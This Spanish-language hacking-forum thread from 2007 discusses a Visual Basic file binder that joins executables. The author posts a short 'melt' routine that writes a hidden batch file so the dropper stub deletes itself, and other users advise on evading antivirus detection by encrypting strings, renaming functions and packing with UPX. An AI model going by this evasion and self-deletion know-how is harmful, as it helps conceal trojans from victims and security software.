Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ssvnyp en 18 Julio 2007, 20:49 pm



Título: NYP-Binder 1.0
Publicado por: ssvnyp en 18 Julio 2007, 20:49 pm
Este es el primer programa que hago en vb y que me atrevo a postear.
Se trata de un binder programado en vb.

Tiene algun que otro fallito pero funciona bien , para la proxima version le quiero poner opcion de cambiar el icono al exe resultante.

Captura :

http://img508.imageshack.us/my.php?image=capturaku0.png

Descarga :

http://rapidshare.com/files/43661472/NYP-Binder_1.0.rar


Título: Re: NYP-Binder 1.0
Publicado por: ActiveSheet en 19 Julio 2007, 03:44 am
de que nos sirve esta bien el cactus joiner


Título: Re: NYP-Binder 1.0
Publicado por: LeandroA en 19 Julio 2007, 06:20 am
de que nos sirve esta bien el cactus joiner

entonces para que voy a seguir programando si ya existe Microsoft :-X


Título: Re: NYP-Binder 1.0
Publicado por: ActiveSheet en 19 Julio 2007, 06:47 am
Tu estas ablando de SO podrias programar un SO  en VB estas cabron

ese we no los esta ofreciendo

son cosas diferentes creeme nada que ver


Título: Re: NYP-Binder 1.0
Publicado por: LeandroA en 19 Julio 2007, 07:03 am
Tu estas ablando de SO podrias programar un SO  en VB estas cabron

ese we no los esta ofreciendo

son cosas diferentes creeme nada que ver

Primero y principal Microsoft no es un SO, Si lo es Windows, pero no es el caso.se trata de tener un poco mas de respeto a quienes humildemente quieren compartir algo con nosotros, Sinceramente si yo donara mi proyecto y me contestas asi , me tomo un avion, me voy hasta Mexico y te pego un escupitajo en la cara.

Saludos


Título: Re: NYP-Binder 1.0
Publicado por: Tughack en 19 Julio 2007, 13:09 pm
de que nos sirve esta bien el cactus joiner

NOOB!  >:(

Este user esta apenas aportando algo, ademas el cactus no tiene k ser el uniko a ser usado, ni todos lo usan, se kieres saber hay bastante mejores...

Solo no tienes k contestar asi!

Son pendejos como tu k joden un foro...


ssvnyp, lo importante es seguir asi aportando, no hagas caso a comentarios k ni valen la pena...

Salu2


Título: Re: NYP-Binder 1.0
Publicado por: Meg en 19 Julio 2007, 13:27 pm
Citar
de que nos sirve esta bien el cactus joiner

Por esa regla de tres tb se podria decir pa k seguir desarrollando Linux si ya tenemos windows  :-X :-X :-X :-X

Sigue aprotando ssvnyp


Título: Re: NYP-Binder 1.0
Publicado por: Hendrix en 19 Julio 2007, 13:37 pm
Si se vuelve a desviar el tema lo voy a cerrar.....


Título: Re: NYP-Binder 1.0
Publicado por: Zeroql en 19 Julio 2007, 19:40 pm
viejo, siendo el primero que haces en VB te kedo bien, solo sigue asi avs por bune camino.
y otra cosa para ActiveSheet si vas a postear que sea algo bueno, si tu te limitas a unos cuantos programas e cuestion tuya, no de los demas, los otros somos de mente abierta.


Título: Re: NYP-Binder 1.0
Publicado por: ssvnyp en 19 Julio 2007, 23:17 pm
Haciendo caso a Zeroql , Meg y TugHack , que dicen que siga programando , le e añadido un skin al binder porque lo veia muy soso , y tambien he arreglado un par de fallos , para la proxima version quiero meter la opcion de cambiar el icono al stub.
Le he cojido el codigo de los petardos a ||MadAntrax||


Captura :

http://img262.imageshack.us/my.php?image=capturaoe4.png

Descarga :

http://rapidshare.com/files/43882383/NYP-Binder_1.0.rar


Título: Re: NYP-Binder 1.0
Publicado por: Mad Antrax en 19 Julio 2007, 23:35 pm
Me gusta tu binder.

Una pregunta, he visto que has añadido la opción: Protección del Stub, ¿que hace exactamente?

He mirado internamente el Stub que has programado y te has dejado el FileVersion dentro (si haces click derecho / propiedades sobre el ejecutable) aparece la pestaña de Versión y en ella aparecen las strings estáticas: Stub y Dropper.exe

Si dejas eso les facilitas muchísimo la vida a los Antivirus y será más fácil de detectar tu Stub. También he encontrado otros strings del tipo Melt, Batch, Temporales, Begin, Del. Todos esos string estáticos deberías de suprimirlos o encriptarlos. También has usado funciones dentro del Stub que se llaman Binded Function Stub intenta cambiar esos nombres porque también se reflejan en el ejecutable.

Por otra parte, has dejado información vital en su interior, con solo crear un archivo de prueba sé que te llamas Sergio, esta es tu ruta: C:\Documents and Settings\Sergio\Escritorio\Stub\OverStub.vbp

Por lo demás está genial. Lo has programado tú solito? Has usado algún source como ejemplo?

Saludos y sigue adelante :)


Título: Re: NYP-Binder 1.0
Publicado por: ssvnyp en 19 Julio 2007, 23:43 pm
Una pregunta, he visto que has añadido la opción: Protección del Stub, ¿que hace exactamente?

Proteccion de stub es lo mismo que melt stub , cuando el stub se ejecuta y termina de extraer los archivos se borra a si mismo.

Si dejas eso les facilitas muchísimo la vida a los Antivirus y será más fácil de detectar tu Stub. También he encontrado otros strings del tipo Melt, Batch, Temporales, Begin, Del. Todos esos string estáticos deberías de suprimirlos o encriptarlos. También has usado funciones dentro del Stub que se llaman Binded Function Stub intenta cambiar esos nombres porque también se reflejan en el ejecutable.

Gracias por lo de las strings , las cambiare.

Por otra parte, has dejado información vital en su interior, con solo crear un archivo de prueba sé que te llamas Sergio, esta es tu ruta: C:\Documents and Settings\Sergio\Escritorio\Stub\OverStub.vbp

Por lo demás está genial. Lo has programado tú solito? Has usado algún source como ejemplo?

:S y como borro ese dato?

use como ejemplo el codigo de un binder de trojanfrance.

http://www.trojanfrance.com/index.php?dir=Sources/VB/&file=HelioS%20Binder%20v2.0.rar


Título: Re: NYP-Binder 1.0
Publicado por: Mad Antrax en 19 Julio 2007, 23:46 pm
Proteccion de stub es lo mismo que melt stub , cuando el stub se ejecuta y termina de extraer los archivos se borra a si mismo.

Y la función de Melt de donde la sacastes? Has usado centinelas para hacer el Melt?

Citar
:S y como borro ese dato?

Bueno, cuando termines de compilar tu Stub (justo antes de añadirlo como recurso al binder) modificalo con un editor Hexadecimal y pon el valo 0x00 en esa ruta para ocultarla. Si te lo quieres currar comprimelo con UPX (o algún otro packer) y ya está, conseguiras enmascarar las strings y ganarás compresión.

Tienes pensado en liberar el código?


Título: Re: NYP-Binder 1.0
Publicado por: ssvnyp en 20 Julio 2007, 00:03 am
Y la función de Melt de donde la sacastes? Has usado centinelas para hacer el Melt?

la funcion de melt la hize yo. centinelas? no , este es el codigo.

Código:
Open InstallPath("Carpeta temporales") & "Melt.bat" For Output As #1
        Print #1, "@Echo off"
        Print #1, ":Begin"
        Print #1, "Del " & App.EXEName & ".exe"
        Print #1, "If Exist " & App.Path & "\" & App.EXEName & ".exe" & " Goto Begin"
        Print #1, "Del " & InstallPath("Temp Directory") & "Melt.bat"
    Close #1
    Shell InstallPath("Carpeta temporales") & "Melt.bat", vbHide

Citar
Tienes pensado en liberar el código?

Liberare el codigo mas adelante , en la version 2.0 cuando tenga mas opciones.


Título: Re: NYP-Binder 1.0
Publicado por: ssvnyp en 20 Julio 2007, 00:04 am
Por cierto si comprimo el stub con upx , no se jodera?  :-\


Título: Re: NYP-Binder 1.0
Publicado por: ~~ en 20 Julio 2007, 00:41 am
Por cierto si comprimo el stub con upx , no se jodera?  :-\

No tiene por q... lo unico q puede pasar es q la cadena q indica la separacion entre archivos se modifike y no te funcione bien, pero no deberia pasar nada... podrias provar, q no pierdes nada..

Mirate esto q a lo mejor te interesa:

Insertar iconos de archivos en un List View (2 métodos)
http://foro.elhacker.net/index.php/topic,165169.0.html


Título: Re: NYP-Binder 1.0
Publicado por: ActiveSheet en 20 Julio 2007, 09:01 am
como es mas correcto binder o blinder?

es que eh visto que unos dicen binear y otros blindear


Título: Re: NYP-Binder 1.0
Publicado por: Mad Antrax en 20 Julio 2007, 09:21 am
como es mas correcto binder o blinder?

Se llaman Binders o Joiners, y la ación de usarlos es: Bindear o Joinear (aunque eso son adaptaciones del Inglés). En el lenguaje de Cervantes sería: Juntador o Fusionador xD


Título: Re: NYP-Binder 1.0
Publicado por: ActiveSheet en 20 Julio 2007, 09:31 am
A ok muchas gracias por aclarar mi duda, aunque no se muy bien que es cervantes


Título: Re: NYP-Binder 1.0
Publicado por: ssvnyp en 20 Julio 2007, 09:35 am
Cervantes es el que escribio don quijote de la mancha creo.
la lengua de cervantes es el castellano.

EON gracias por el codigo de los iconos , ya lo he añadido al binder , he usado la segunda forma.


Título: Re: NYP-Binder 1.0
Publicado por: ActiveSheet en 20 Julio 2007, 09:42 am
mira que buena honda no sabia eso